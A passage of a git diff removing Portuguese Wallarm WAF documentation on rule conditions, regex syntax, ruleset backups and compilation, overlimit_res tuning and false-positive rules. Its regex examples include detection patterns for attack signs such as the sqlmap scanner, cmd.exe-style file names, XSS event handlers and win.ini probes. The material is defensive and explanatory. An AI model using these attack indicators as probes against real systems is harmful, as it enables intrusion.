a uma condição separada composta por três campos: ponto, tipo e argumento de comparação. As regras descritas na branch só são aplicadas à solicitação se todas as condições forem cumpridas. - -Para configurar o conjunto de condições, o **construtor de URI** e o **formulário de edição avançada** podem ser usados. - -### Construtor de URI - -#### Trabalhando com o Construtor de URI - -O construtor de URI permite configurar as condições da regra especificando o método de solicitação e o endpoint em apenas uma linha: - -* Para o método de solicitação, o construtor de URI fornece o seletor específico. Se o método não for selecionado, a regra será aplicada a solicitações com qualquer método. -* Para o endpoint da solicitação, o construtor de URI fornece o campo específico aceitando os seguintes formatos de valor: - - | Formato | Exemplos e valores do ponto da solicitação | - | ------ | ------ | - | URI completa incluindo os seguintes componentes:
            • Esquema (o valor é ignorado, você pode especificar explicitamente o esquema usando o formulário avançado)
            • Domínio ou um endereço IP
            • Porta
            • Caminho
            • Parâmetros da string de consulta
            | `https://example.com:3000/api/user.php?q=action&w=delete`
            • `[header, 'HOST']` - `example.com:3000`
            • `[path, 0]` - `api`
            • `[path, 1]` - `∅`
            • `[action_name]` - `user`
            • `[action_ext]` - `php`
            • `[query, 'q']` - `action`
            • `[query, 'w']` - `delete`
            | - | URI com alguns componentes omitidos | `example.com/api/user`
            • `[header, 'HOST']` - `example.com`
            • `[path, 0]` - `api`
            • `[path, 1]` - `∅`
            • `[action_name]` - `user`
            • `[action_ext]` - `∅`

            `http://example.com/api/clients/user/?q=action&w=delete`
            • `[header, 'HOST']` - `example.com`
            • `[path, 0]` - `api`
            • `[path, 1]` - `clients`
            • `[path, 2]` - `∅`
            • `[action_name]` - `user`
            • `[query, 'q']` - `action`
            • `[query, 'w']` - `delete`

            `/api/user`
            • ``[header, 'HOST']` - qualquer valor
            • `[path, 0]` - `api`
            • `[path, 1]` - `∅`
            • `[action_name]` - `user`
            • `[action_ext]` - `∅`
            | - | URI com `*` significando qualquer valor não vazio do componente | `example.com/*/create/*.*`
            • `[header, 'HOST']` - `example.com`
            • `[path, 0]` - qualquer valor não vazio (oculto no formulário de edição avançada)
            • `[path, 1]` - `create`
            • `[path, 2]` - `∅`
            • `[action_name]` - qualquer valor não vazio (oculto no formulário de edição avançada)
            • `[action_ext]` - qualquer valor não vazio (oculto no formulário de edição avançada)
              • O valor corresponde a `example.com/api/create/user.php`
              e não corresponde a `example.com/create/user.php` e `example.com/api/create`.
            | - | URI com `**` significando qualquer número de componentes, incluindo sua ausência | `example.com/**/user`
            • `[header, 'HOST']` - `example.com`
            • `[action_name]` - `user`
            • `[action_ext]` - `∅`
              • O valor corresponde a `example.com/api/create/user` e `example.com/api/user`.
              O valor não corresponde a `example.com/user`, `example.com/api/user/index.php` e `example.com/api/user/?w=delete`.

            `example.com/api/**/*.*`
            • `[header, 'HOST']` - `example.com`
            • `[path, 0]` - `api`
            • `[action_name]` - qualquer valor não vazio (oculto no formulário de edição avançada)
            • `[action_ext]` - qualquer valor não vazio (oculto no formulário de edição avançada)
              • O valor corresponde a `example.com/api/create/user.php` e `example.com/api/user/create/index.php`
              e não corresponde a `example.com/api`, `example.com/api/user` e `example.com/api/create/user.php?w=delete`.
            | - | URI com [expressão regular](#condition-type-regex) para combinar certos valores de componente (regexp deve ser envolvido em `{{}}`) | `example.com/user/{{[0-9]}}`
            • `[header, 'HOST']` - `example.com`
            • `[path, 0]` - `user`
            • `[path, 1]` - `∅`
            • `[action_name]` - `[0-9]`
            • `[action_ext]` - `∅`
              • O valor corresponde a `example.com/user/3445`
              e não corresponde a `example.com/user/3445/888` e `example.com/user/3445/index.php`.
            | - -A string especificada no construtor de URI é automaticamente analisada no conjunto de condições para os seguintes [pontos de solicitação](#points): - -* `method` -* `header`. O construtor de URI permite especificar apenas o cabeçalho `HOST`. -* `path`, `action_name`, `action_ext`. Antes de confirmar a criação da regra, certifique-se de que os valores desses pontos de solicitação são analisados de uma das seguintes maneiras: - * Valor explícito de determinado número `path` + `action_name` + `action_ext` (opcional) - * Valor explícito de `action_name` + `action_ext` (opcional) - * Valor explícito de determinado número `path` sem `action_name` e sem `action_ext` -* `query` - -O valor especificado no construtor de URI pode ser completado por outros pontos de solicitação disponíveis apenas no [formulário de edição avançada](#advanced-edit-form). - -#### Usando Curingas - -Você pode usar curingas ao trabalhar com o construtor de URI no Wallarm? Não e sim. "Não" significa que você não pode usá-los [clássicamente](https://en.wikipedia.org/wiki/Wildcard_character), "sim" significa que você pode obter o mesmo resultado agindo assim: - -* Dentro dos componentes analisados de sua URI, em vez de curingas, use expressões regulares. -* Coloque o símbolo `*` ou `**` no próprio campo URI para substituir um ou qualquer número de componentes (veja exemplos na seção [acima](#working-with-uri-constructor)). - -**Alguns detalhes** - -A sintaxe da expressão regular é diferente dos curingas clássicos, mas os mesmos resultados podem ser alcançados. Por exemplo, você quer obter uma máscara correspondente a: - -* `something-1.example.com/user/create.com` e -* `anything.something-2.example.com/user/create.com` - -...que em curingas clássicos você tentaria obter digitando algo como: - -* `*.example.com/user/create.com` - -Mas no Wallarm, seu `something-1.example.com/user/create.com` será analisado em: - -![Exemplo de análise de URI em componentes](../../images/user-guides/rules/something-parsed.png) - -...onde `something-1.example.com` é o ponto `header`-`HOST`. Nós mencionamos que o curinga não pode ser usado dentro do ponto, então, em vez disso, precisamos usar expressão regular: defina o tipo de condição como REGEX e então use a [sintaxe específica](#condition-type-regex) de expressão regular do Wallarm: - -1. Não use `*` no sentido de "qualquer número de símbolos". -2. Coloque todos os `.` que queremos interpretar como "pontos reais" entre colchetes: - - `something-1[.]example[.]com` - -3. Use `.` sem colchetes como substituto de "qualquer símbolo" e `*` depois dele como quantificador "0 ou mais repetições do precedente", então `.*` e: - - `.*[.]example[.]com` - -4. Adicione `$` no final da expressão para dizer que o que criamos deve terminar nosso componente: - - `.*[.]example[.]com$` - - !!! informação "A maneira mais simples" - Você pode omitir `.*` e deixar apenas `[.]example[.]com$`. Em ambos os casos, o Wallarm assumirá que qualquer caractere pode aparecer antes de `[.]example[.]com$` qualquer número de vezes. - - ![Usando expressão regular no componente de cabeçalho](../../images/user-guides/rules/wildcard-regex.png) - -### Formulário de Edição Avançada - -#### Pontos - -O campo *ponto* indica qual valor do parâmetro deve ser extraído da solicitação para comparação. No momento, nem todos os pontos que podem ser analisados pelo nó de filtro são suportados. - -Os seguintes pontos são atualmente suportados: - -* **application**: ID da aplicação. -* **proto**: versão do protocolo HTTP (1.0, 1.1, 2.0,...). -* **scheme**: http ou https. -* **uri**: parte da URL da solicitação sem o domínio (por exemplo, `/blogs/123/index.php?q=aaa` para a solicitação enviada para `http://example.com/blogs/123/index.php?q=aaa`). -* **path**, **action_name**, **action_ext** é a sequência hierárquica de componentes URI onde: - - * **path**: uma matriz com partes de URI separadas pelo símbolo `/` (a última parte da URI não está incluída na matriz). Se houver apenas uma parte na URI, a matriz estará vazia. - * **action_name**: a última parte da URI após o símbolo `/` e antes do primeiro período (`.`). Esta parte da URI sempre é apresentada na solicitação, mesmo que seu valor seja uma string vazia. - * **action_ext**: a parte da URI após o último período (`.`). Pode estar ausente na solicitação. -* **query**: parâmetros de string de consulta. -* **header**: cabeçalhos de solicitação. Ao inserir um nome de cabeçalho, os valores mais comuns são exibidos em uma lista suspensa. Por exemplo: `HOST`, `USER-AGENT`, `COOKIE`, `X-FORWARDED-FOR`, `AUTHORIZATION`, `REFERER`, `CONTENT-TYPE`. - - !!! informação "Gerenciando regras do cabeçalho `HOST` para FQDNs e endereços IP" - Se o cabeçalho `HOST` estiver definido para um FQDN, as solicitações direcionadas para o endereço IP associado não serão afetadas pela regra. Para aplicar a regra a tais solicitações, defina o valor do cabeçalho `HOST` para o IP específico nas condições da regra, ou crie uma regra separada para o FQDN e seu IP. - - Quando colocado depois de um balanceador de carga que modifica o cabeçalho `HOST`, o nó Wallarm aplica as regras com base no valor atualizado, não no original. Por exemplo, se o balanceador mudar o `HOST` de um IP para um domínio, o nó segue as regras para aquele domínio. - -* **method**: métodos de solicitação. Se o valor não for explicitamente especificado, a regra será aplicada a solicitações com qualquer método. - -#### Tipo de Condição: EQUAL (`=`) - -O valor do ponto deve corresponder exatamente ao argumento de comparação. Por exemplo, apenas `example` corresponde ao valor do ponto `example`. - -!!! informação "Tipo de condição EQUAL para o valor do cabeçalho HOST" - Para cobrir mais solicitações com as regras, restringimos o tipo de condição EQUAL para o cabeçalho HOST. Em vez do tipo EQUAL, recomendamos usar o tipo IEQUAL que permite valores de parâmetro em qualquer registro. - - Se você usou anteriormente o tipo EQUAL, ele será automaticamente substituído pelo tipo IEQUAL. - -#### Tipo de Condição: IEQUAL (`Aa`) - -O valor do ponto deve corresponder ao argumento de comparação em qualquer caso. Por exemplo: `example`, `ExAmple`, `exampLe` correspondem ao valor do ponto `example`. - -#### Tipo de Condição: REGEX (`.*`) - -O valor do ponto deve corresponder à expressão regular. - -**Sintaxe da expressão regular** - -Para combinar solicitações com expressões regulares, a biblioteca PIRE é usada. Na maior parte, a sintaxe das expressões é padrão, mas tem algumas especificidades como descrito abaixo e no arquivo README do [repositório PIRE][link-regex]. - -??? informação "Mostrar sintaxe de expressão regular" - Caracteres que podem ser usados como estão: - - * Letras latinas minúsculas: `a b c d e f g h i j k l m n o p q r s t u v w x y z` - * Letras latinas maiúsculas: `A B C D E F G H I J K L M N O P Q R S T U V W X Y Z` - * Dígitos: `0 1 3 4 5 6 7 8 9` - * Caracteres especiais: ! " # % ' , - / : ; < = > @ ] _ ` } - * Espaços em branco - - Caracteres que devem ser colocados entre colchetes `[]` ao invés de serem escapados com `\`: - - * `. $ ^ { [ ( | ) * + ? \ & ~` - - Caracteres que devem ser convertidos para ASCII de acordo com ISO‑8859: - - * Caracteres UTF‑8 (por exemplo, o caractere `ʃ` convertido para ASCII é `ʃ`) - - Grupos de caracteres: - - * `.` para qualquer caractere, exceto uma nova linha - * `()` para agrupar expressões regulares, procurar símbolos presentes dentro `()` ou estabelecer uma ordem de precedência - * `[]` para um único caractere presente dentro `[]` (sensível a maiúsculas e minúsculas); o grupo pode ser usado para os casos específicos: - * para ignorar maiúsculas e minúsculas (por exemplo, `[cC]`) - * `[a-z]` para combinar uma das letras latinas minúsculas - * `[A-Z]` para combinar uma das letras latinas maiúsculas - * `[0-9]` para combinar um dos dígitos - * `[a-zA-Z0-9[.]]` para combinar uma das letras latinas minúsculas, ou maiúsculas, ou dígitos, ou ponto - - Caracteres lógicos: - - * `~` é igual a NOT. A expressão invertida e o caractere devem ser colocados em `()`,`
            por exemplo: `(~(a))` - * `|` é igual a OR - * `&` é igual a AND - - Caracteres para especificar limites de string: - - * `^` para o início da string - * `$` para o final da string - - Quantificadores: - - * `*` para 0 ou mais repetições da expressão regular precedente - * `+` para 1 ou mais repetições da expressão regular precedente - * `?` para 0 ou 1 repetições da expressão regular precedente - * `{m}` para `m` repetições da expressão regular precedente - * `{m,n}` para `m` a `n` repetições da expressão regular precedente; omitir `n` especifica um limite superior infinito - - Combinções de caracteres que funcionam com especificidades: - - * `^.*$` é igual a `^.+$` (valores vazios não correspondem com `^.*$`) - * `^.?$`, `^.{0,}$`, `^.{0,n}$` são iguais a `^.+$` - - Temporariamente não suportado: - - * Classes de caracteres como `\W` para não alfabéticos, `\w` para alfabéticos, `\D` para qualquer não-dígitos, `\d` para qualquer decimais, `\S` para não-espaços em branco, `\s` para espaços em branco - - Sintaxe não suportada: - - * Códigos octais de três dígitos `\NNN`, `\oNNN`, `\ONNN` - * `\cN` passando caracteres de controle via `\c` (por exemplo, `\cC` para CTRL+C) - * `\A` para o início da string - * `\z` para o final da string - * `\b` antes ou depois do caractere de espaço em branco no final da string - * `??`, `*?`, `+?` quantificadores preguiçosos - * Condicionais - -**Testando expressões regulares** - -Para testar a expressão regular, você pode usar a utilidade **cpire** no Debian ou Ubuntu suportados: - -1. Adicione o repositório Wallarm: - - === "Debian 10.x (buster)" - ```bash - sudo apt update - sudo apt -y install dirmngr - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/debian/wallarm-node buster/4.8/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` - === "Debian 11.x (bullseye)" - ```bash - sudo apt update - sudo apt -y install dirmngr - curl -fSsL https://repo.wallarm.com/wallarm.gpg | sudo gpg --no-default-keyring --keyring gnupg-ring:/etc/apt/trusted.gpg.d/wallarm.gpg --import - sudo chmod 644 /etc/apt/trusted.gpg.d/wallarm.gpg - sh -c "echo 'deb https://repo.wallarm.com/debian/wallarm-node bullseye/4.8/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` - === "Ubuntu 18.04 LTS (bionic)" - ```bash - sudo apt update - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node bionic/4.8/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` - === "Ubuntu 20.04 LTS (focal)" - ```bash - sudo apt update - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node focal/4.8/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` - === "Ubuntu 22.04 LTS (jammy)" - ```bash - sudo apt update - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node jammy/4.8/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -2. Instale a utilidade **cpire**: - - ```bash - sudo apt -y install libcpire-utils - ``` -3. Execute a utilizade **cpire**: - ```bash - cpire-runner -R '' - ``` -4. Insira o valor a ser verificado se corresponde à expressão regular. A utilidade retornará o resultado: - * `0` se o valor corresponder à expressão regular - * `FAIL` se o valor não corresponder à expressão regular - * Mensagem de erro se a expressão regular for inválida - - !!! aviso "Especificidades do tratamento do caractere `\`" - Se a expressão incluir `\`, por favor, escape-o com `[]` e `\` (por exemplo, `[\\]`). - -**Exemplos de expressões regulares adicionadas via Wallarm Console** - -* Para combinar qualquer string que inclua /.git - - ``` - /[.]git - ``` -* Para combinar qualquer string que inclua .example.com - - ``` - [.]example[.]com - ``` -* Para combinar qualquer string finalizada com /.example.*.com onde `*` pode ser qualquer símbolo repetido qualquer número de vezes - - ``` - /[.]example[.].*[.]com$ - ``` -* Para combinar todos os endereços IP excluindo 1.2.3.4 e 5.6.7.8 - - ``` - ^(~((1[.]2[.]3[.]4)|(5[.]6[.]7[.]8)))$ - ``` -* Para combinar qualquer string que finaliza com /.example.com.php - - ``` - /[.]example[.]com[.]php$ - ``` -* Para combinar qualquer string que inclui `sqlmap`com letras em minúsculas e maiúsculas: sqLmAp, SqLMap, etc - - ``` - [sS][qQ][lL][mM][aA][pP] - ``` -* Para combinar qualquer string que inclui um ou vários valores: admin\\.exe, admin\\.bat, admin\\.sh, cmd\\.exe, cmd\\.bat, cmd\\.sh - - ``` - (admin|cmd)[\\].(exe|bat|sh) - ``` -* Para combinar qualquer string que inclui um ou vários valores: onmouse com letras em minúsculas e maiúsculas, onload com letras em minúsculas e maiúsculas, win\\.ini, prompt - - ``` - [oO][nN][mM][oO][uU][sS][eE]|[oO][nN][lL][oO][aA][dD]|win[\\].ini|prompt - ``` -* Para combinar qualquer string que comece com `Mozilla` mas não contenha a string `1aa875F49III` - - ``` - ^(Mozilla(~(.*1aa875F49III.*)))$ - ``` -* Para combinar qualquer string com um dos valores: `python-requests/`, `PostmanRuntime/`, `okhttp/3.14.0`, `node-fetch/1.0` - - ``` - ^(python-requests/|PostmanRuntime/|okhttp/3.14.0|node-fetch/1.0) - ``` - -#### Tipo de Condição: ABSENT (`∅`) - -A solicitação não deve conter o ponto designado. Neste caso, o argumento de comparação não é usado. - -## Regra - -A regra de processamento de solicitação adicionada é descrita na seção *Then*. - -As seguintes regras são suportadas: - -* [Desativar/Habilitar parsers](disable-request-parsers.md) -* [Alterar cabeçalhos de resposta do servidor](add-replace-response-header.md) -* [Definir o modo de filtragem][link-filter-mode-rule] -* [Mascarar dados sensíveis][link-sensitive-data-rule] -* [Definir modo de verificação de ameaça ativa](../../vulnerability-detection/threat-replay-testing/setup.md#enable) -* [Reescrever ataque antes da verificação ativa](../../vulnerability-detection/active-threat-verification/setup.md#rewrites) -* [Aplicar um patch virtual][link-virtual-patch] -* [Regras de detecção definidas pelo usuário][link-regex-rule] -* [Ignorar certos tipos de ataques](ignore-attack-types.md) -* [Ignorar certos sinais de ataque nos dados binários](ignore-attacks-in-binary-data.md) -* [Ajustar a detecção do ataque overlimit_res](configure-overlimit-res-detection.md) -* [Definir modo de Prevenção de Abuso de API para URLs de destino específicos](api-abuse-url.md) \ No newline at end of file diff --git a/docs/latest-pt-BR/user-guides/rules/backup.md b/docs/latest-pt-BR/user-guides/rules/backup.md deleted file mode 100644 index 9b8d49d364..0000000000 --- a/docs/latest-pt-BR/user-guides/rules/backup.md +++ /dev/null @@ -1,25 +0,0 @@ -# Backup e restauração do conjunto de regras personalizado - -Para se proteger contra regras acidentalmente mal configuradas ou excluídas, você pode fazer o backup do seu conjunto de regras personalizado atual. - -Existem as seguintes opções de backup de regras: - -* Criação de backup automático após cada [compilação do conjunto de regras personalizado](rules.md). O número de backups automáticos é limitado a 7: para cada dia em que você altera as regras várias vezes, apenas o último backup é mantido. -* Criação de backup manual a qualquer momento. O número de backups manuais é limitado a 5 por padrão. Se você precisar de mais, entre em contato com a equipe de [suporte técnico da Wallarm](mailto:support@wallarm.com). - -Você pode: - -* Acessar backups atuais: na seção **Regras**, clique em **Backups**. -* Criar um novo backup manualmente: na janela **Backups**, clique em **Criar backup**. -* Definir um nome e uma descrição para o backup manual e editá-los a qualquer momento. - - !!! info "Nomenclatura para backups automáticos" - Os backups automáticos são nomeados pelo sistema e não podem ser renomeados. - -* Carregar a partir de um backup existente: clique em **Carregar** para o backup necessário. Ao carregar a partir do backup, sua configuração de regra atual é excluída e substituída pela configuração do backup. -* Excluir backup. - - ![Regras - Criando backup](../../images/user-guides/rules/rules-create-backup.png) - -!!! Atenção "Restrições de modificação de regra" - Você não pode criar ou modificar regras até que a criação do backup ou o carregamento a partir do backup estejam completos. \ No newline at end of file diff --git a/docs/latest-pt-BR/user-guides/rules/compiling.md b/docs/latest-pt-BR/user-guides/rules/compiling.md deleted file mode 100644 index 165d62f767..0000000000 --- a/docs/latest-pt-BR/user-guides/rules/compiling.md +++ /dev/null @@ -1,21 +0,0 @@ -# Construção e descarregamento de um conjunto de regras personalizado - -Um conjunto de regras personalizado define as especificidades do processamento do tráfego de cliente particular (por exemplo, permite a configuração de regras personalizadas para detecção de ataques ou mascaramento de dados sensíveis). O nó Wallarm se baseia no conjunto de regras personalizado durante a análise de solicitações recebidas. - -As alterações das regras personalizadas NÃO entram em vigor imediatamente. As alterações são aplicadas ao processo de análise de solicitação somente após a **construção** do conjunto de regras personalizado e o **descarregamento para o nó de filtragem** estarem concluídos. - -## Construção de um conjunto de regras personalizado - -Adicionar uma nova regra, excluir ou alterar regras existentes no Console Wallarm → **Regras** inicia a construção de um conjunto de regras personalizado. Durante o processo de construção, as regras são otimizadas e compiladas em um formato adotado para o nó de filtragem. O processo de construção de um conjunto de regras personalizado geralmente leva de alguns segundos para um pequeno número de regras a até uma hora para árvores de regras complexas. - -O status de construção do conjunto de regras personalizado e o tempo de conclusão esperado são exibidos no Console Wallarm. Se não houver construção em andamento, a interface exibe a data da última construção concluída. - -![Status de construção](../../images/user-guides/rules/build-rules-status.png) - -## Descarregando um conjunto de regras personalizado para o nó de filtragem - -A construção do conjunto de regras personalizado é descarregada para o nó de filtragem durante a sincronização do nó de filtragem e da nuvem Wallarm. Por padrão, a sincronização do nó de filtragem e da nuvem Wallarm é lançada a cada 2-4 minutos. [Mais detalhes sobre a configuração de sincronização do nó de filtragem e da nuvem Wallarm →](../../admin-en/configure-cloud-node-synchronization-en.md) - -O status do descarregamento de um conjunto de regras personalizado para o nó de filtragem é registrado no arquivo `/var/log/wallarm/syncnode.log`. - -Todos os nós Wallarm conectados à mesma conta Wallarm recebem o mesmo conjunto de regras padrão e personalizadas para filtragem de tráfego. Você ainda pode aplicar regras diferentes para diferentes aplicativos usando os IDs de aplicação apropriados ou parâmetros de solicitação HTTP exclusivos, como cabeçalhos, parâmetros de string de consulta, etc. \ No newline at end of file diff --git a/docs/latest-pt-BR/user-guides/rules/configure-overlimit-res-detection.md b/docs/latest-pt-BR/user-guides/rules/configure-overlimit-res-detection.md deleted file mode 100644 index 7ed97b5974..0000000000 --- a/docs/latest-pt-BR/user-guides/rules/configure-overlimit-res-detection.md +++ /dev/null @@ -1,57 +0,0 @@ -# Ajuste fino na detecção de ataques `overlimit_res` - -O nó Wallarm gasta um tempo limitado no processamento de uma única requisição recebida e, se o limite de tempo é excedido, marca a requisição como o ataque de [sobrecarga de recursos (`overlimit_res`)](../../attacks-vulns-list.md#overlimiting-of-computational-resources). A regra ** Ajuste fino na detecção de ataques overlimit_res** permite personalizar o limite de tempo alocado para o processamento de uma única requisição e o comportamento padrão do nó quando o limite é excedido. - -Limitar o tempo de processamento da requisição impede ataques de bypass direcionados aos nós Wallarm. Em alguns casos, as requisições marcadas como `overlimit_res` podem indicar recursos insuficientes alocados para os módulos do nó Wallarm resultando em longo processamento de requisições. - -## Comportamento padrão do nó - -Por padrão, o nó Wallarm é configurado para gastar no máximo **1.000 milissegundos** no processamento de uma única requisição recebida. - -Se o limite de tempo for excedido, o nó Wallarm: - -1. Interrompe o processamento da requisição. -1. Marca a requisição como ataque `overlimit_res` e envia detalhes do ataque para o Cloud Wallarm. - - Se a parte da requisição processada também contiver outros [tipos de ataques](../../attacks-vulns-list.md), o nó Wallarm também envia detalhes sobre eles para o Cloud. - - Ataques dos tipos correspondentes serão exibidos na [lista de eventos](../events/check-attack.md) no console Wallarm. -1. No [modo](../../admin-en/configure-wallarm-mode.md) **monitoramento**, o nó encaminha a requisição original para o endereço do aplicativo. O aplicativo corre o risco de ser explorado pelos ataques incluídos nas partes processadas e não processadas da requisição. - - No modo **safe blocking**, o nó bloqueia a requisição se ela se originar do endereço IP [listado como suspeito](../ip-lists/graylist.md). Caso contrário, o nó encaminha a requisição original para o endereço do aplicativo. O aplicativo corre o risco de ser explorado pelos ataques incluídos nas partes processadas e não processadas da requisição. - - No modo **block**, o nó bloqueia a requisição. - -!!! info "Processamento de requisições no modo "Desativado"" - No [modo](../../admin-en/configure-wallarm-mode.md) **desativado**, o nó não analisa o tráfego recebido e, consequentemente, não detecta os ataques direcionados à sobrecarga de recursos. - -## Alterando o comportamento padrão do nó - -!!! warning "Risco de bypass de proteção ou esgotamento de memória do sistema" - * É recomendado alterar o comportamento padrão do nó apenas nos locais estritamente específicos onde é realmente necessário, por exemplo, onde o envio de arquivos grandes é realizado e onde não há risco de bypass de proteção e exploração de vulnerabilidades. - * O alto limite de tempo e/ou a continuação do processamento da requisição após o limite ser excedido podem desencadear o esgotamento de memória ou o processamento fora do tempo da requisição. - -A regra **Ajuste fino na detecção de ataques overlimit_res** permite alterar o comportamento padrão do nó da seguinte maneira: - -* Definir um limite personalizado para o processamento de uma única requisição -* Parar ou continuar o processamento da requisição quando o limite de tempo é excedido - - Se o nó continuar o processamento da requisição após o limite de tempo ter sido excedido, ele envia dados sobre ataques detectados para o Cloud somente após o processamento da requisição estar totalmente concluído. - - Se a regra estiver definida para interromper o processamento, o nó interrompe o processamento da requisição assim que o limite de tempo é excedido. Em seguida, ele encaminha a requisição, a menos que esteja configurado para registrar um ataque e esteja no modo de bloqueio. Nesse caso, o nó bloqueia a requisição e registra o ataque `overlimit_res`. -* Registrar o ataque `overlimit_res` quando o limite de tempo de processamento da requisição é excedido ou não - - Se o nó estiver configurado para registrar o ataque, ele [bloqueia a requisição ou a encaminha para o endereço do aplicativo](#request-blocking) dependendo do modo de filtração. - - Se o nó não estiver configurado para registrar o ataque e a requisição não contiver outros tipos de ataques, o nó encaminha a requisição original para o endereço do aplicativo. Se a requisição contiver outros tipos de ataques, o nó bloqueia a requisição ou a encaminha para o endereço do aplicativo dependendo do modo de filtração - -A regra NÃO permite: - -* Definir o modo de bloqueio para ataques `overlimit_res` separadamente de outras configurações. Se a opção **Registrar e exibir nos eventos** for escolhida, o nó bloqueia o ataque `overlimit_res` ou o encaminha para o endereço do aplicativo, dependendo do [modo de filtração](../../admin-en/configure-wallarm-mode.md) definido para o endpoint correspondente. - -## Exemplo de regra - -* A regra aumenta o limite de tempo para processar cada requisição POST para `https://example.com/upload` até 1.020 milissegundos. O endpoint especificado realiza o envio de arquivos grandes. -* Outros parâmetros do comportamento do nó permanecem padrão - se o nó processa a requisição por mais de 1.020 milissegundos, ele interrompe o processamento da requisição e registra o ataque `overlimit_res`. - -![Exemplo da regra "Registrar e exibir nos eventos"](../../images/user-guides/rules/fine-tune-overlimit-detection-example.png) \ No newline at end of file diff --git a/docs/latest-pt-BR/user-guides/rules/disable-request-parsers.md b/docs/latest-pt-BR/user-guides/rules/disable-request-parsers.md deleted file mode 100644 index e46a810f85..0000000000 --- a/docs/latest-pt-BR/user-guides/rules/disable-request-parsers.md +++ /dev/null @@ -1,32 +0,0 @@ -# Gerenciando analisadores de solicitação - -A regra **Desativar/Ativar analisador de solicitação** permite gerir o conjunto de analisadores aplicados à solicitação durante sua análise. - -Por padrão, ao analisar a solicitação, o nó Wallarm tenta aplicar sequencialmente cada um dos [analisadores](request-processing.md) adequados a cada elemento da solicitação. No entanto, certos analisadores podem ser aplicados erroneamente e, como resultado, o nó Wallarm pode detectar sinais de ataque no valor decodificado. - -Por exemplo: o nó Wallarm pode identificar erroneamente dados não codificados como codificados em [Base64](https://en.wikipedia.org/wiki/Base64), uma vez que os símbolos do alfabeto Base64 são frequentemente usados no texto comum, valores de token, valores UUID e outros formatos de dados. Se decodificar os dados não codificados e detectar sinais de ataque no valor resultante, ocorre o [falso positivo](../../about-wallarm/protecting-against-attacks.md#false-positives). - -Para evitar falsos positivos nessas situações, é possível desativar os analisadores aplicados erroneamente a certos elementos da solicitação usando a regra **Desativar/Ativar analisador de solicitação**. - -## Criando e aplicando a regra - ---8<-- "../include-pt-BR/waf/features/rules/rule-creation-options.md" - -Para criar e aplicar a regra na seção **Regras**: - -1. Crie a regra **Desativar/Ativar analisador de solicitação** na seção **Regras** do Console Wallarm. A regra consiste nos seguintes componentes: - - * **Condição** [descreve](rules.md#branch-description) os endpoints para aplicar a regra. - * Analisadores a serem desativados / ativados para o elemento de solicitação especificado. - * **Parte da solicitação** aponta para o elemento de solicitação original a ser analisado / não analisado com os analisadores selecionados. - - --8<-- "../include-pt-BR/waf/features/rules/request-part-reference.md" -2. Aguarde a [compilação da regra ser concluída](rules.md). - -## Exemplo de regra - -Vamos supor que as solicitações para `https://example.com/users/` requerem o cabeçalho de autenticação `X-AUTHTOKEN`. O valor do cabeçalho pode conter combinações específicas de símbolos (por exemplo, `=` no final) para ser decodificado potencialmente por Wallarm com o analisador `base64`. - -A regra **Desativar/Ativar analisador de solicitação** evitando falsos positivos nos valores `X-AUTHTOKEN` pode ser configurada da seguinte maneira: - -![Exemplo da regra "Desativar/Ativar analisador de solicitação"](../../images/user-guides/rules/disable-parsers-example.png) \ No newline at end of file diff --git a/docs/latest-pt-BR/user-guides/rules/ignore-attack-types.md b/docs/latest-pt-BR/user-guides/rules/ignore-attack-types.md deleted file mode 100644 index 62ea63c4dd..0000000000 --- a/docs/latest-pt-BR/user-guides/rules/ignore-attack-types.md +++ /dev/null @@ -1,45 +0,0 @@ -# Ignorando certos tipos de ataque - -A regra **Ignore certos tipos de ataque** permite desativar a detecção de certos tipos de ataque em certos elementos de solicitação. - -Por padrão, o nó Wallarm marca a solicitação como um ataque se detectar os sinais de qualquer tipo de ataque em qualquer elemento da solicitação. No entanto, algumas solicitações que contêm sinais de ataque podem realmente ser legítimas (por exemplo, o corpo da solicitação publicando a postagem no Fórum do Administrador de Banco de Dados pode conter a descrição do [comando SQL malicioso](../../attacks-vulns-list.md#sql-injection)). - -Se o nó Wallarm marcar a carga útil padrão da solicitação como maliciosa, ocorre um [falso positivo](../../about-wallarm/protecting-against-attacks.md#false-positives). Para evitar falsos positivos, as regras padrão de detecção de ataque precisam ser ajustadas usando as regras personalizadas de certos tipos para acomodar as especificidades do aplicativo protegido. Um desses tipos de regra personalizada é **Ignore certos tipos de ataque**. - -## Criando e aplicando a regra - ---8<-- "../include-pt-BR/waf/features/rules/rule-creation-options.md" - -Para criar e aplicar a regra na seção **Regras**: - -1. Crie a regra **Ignore certos tipos de ataque** na seção **Regras** do Console Wallarm. A regra consiste nos seguintes componentes: - - * **Condição** [descreve](rules.md#branch-description) os pontos finais para aplicar a regra. - * Tipos de ataque a serem ignorados no elemento de solicitação especificado. - - A guia **Certos tipos de ataques** permite selecionar um ou mais tipos de ataque que o nó Wallarm pode detectar no momento da criação da regra. - - A guia **Todos os tipos de ataque (atualização automática)** desativa a detecção de ambos os tipos de ataque que o nó Wallarm pode detectar no momento da criação da regra e aqueles que serão detectados no futuro. Por exemplo: se o Wallarm suportar uma nova detecção de tipo de ataque, o nó ignorará automaticamente os sinais desse tipo de ataque no elemento de solicitação selecionado. - - * **Parte da solicitação** aponta para o elemento original da solicitação que não deve ser analisado para sinais do tipo de ataque selecionado. - - --8<-- "../include-pt-BR/waf/features/rules/request-part-reference.md" - -2. Aguarde a [compilação da regra ser concluída](rules.md). - -## Exemplo de regra - -Vamos supor que quando o usuário confirma a publicação da postagem no Fórum do Administrador de Banco de Dados, o cliente envia a solicitação POST para o endpoint `https://exemplo.com/posts/`. Esta solicitação tem as seguintes propriedades: - -* O conteúdo do post é passado no parâmetro `postBody` do corpo da solicitação. O conteúdo do post pode incluir comandos SQL que podem ser marcados 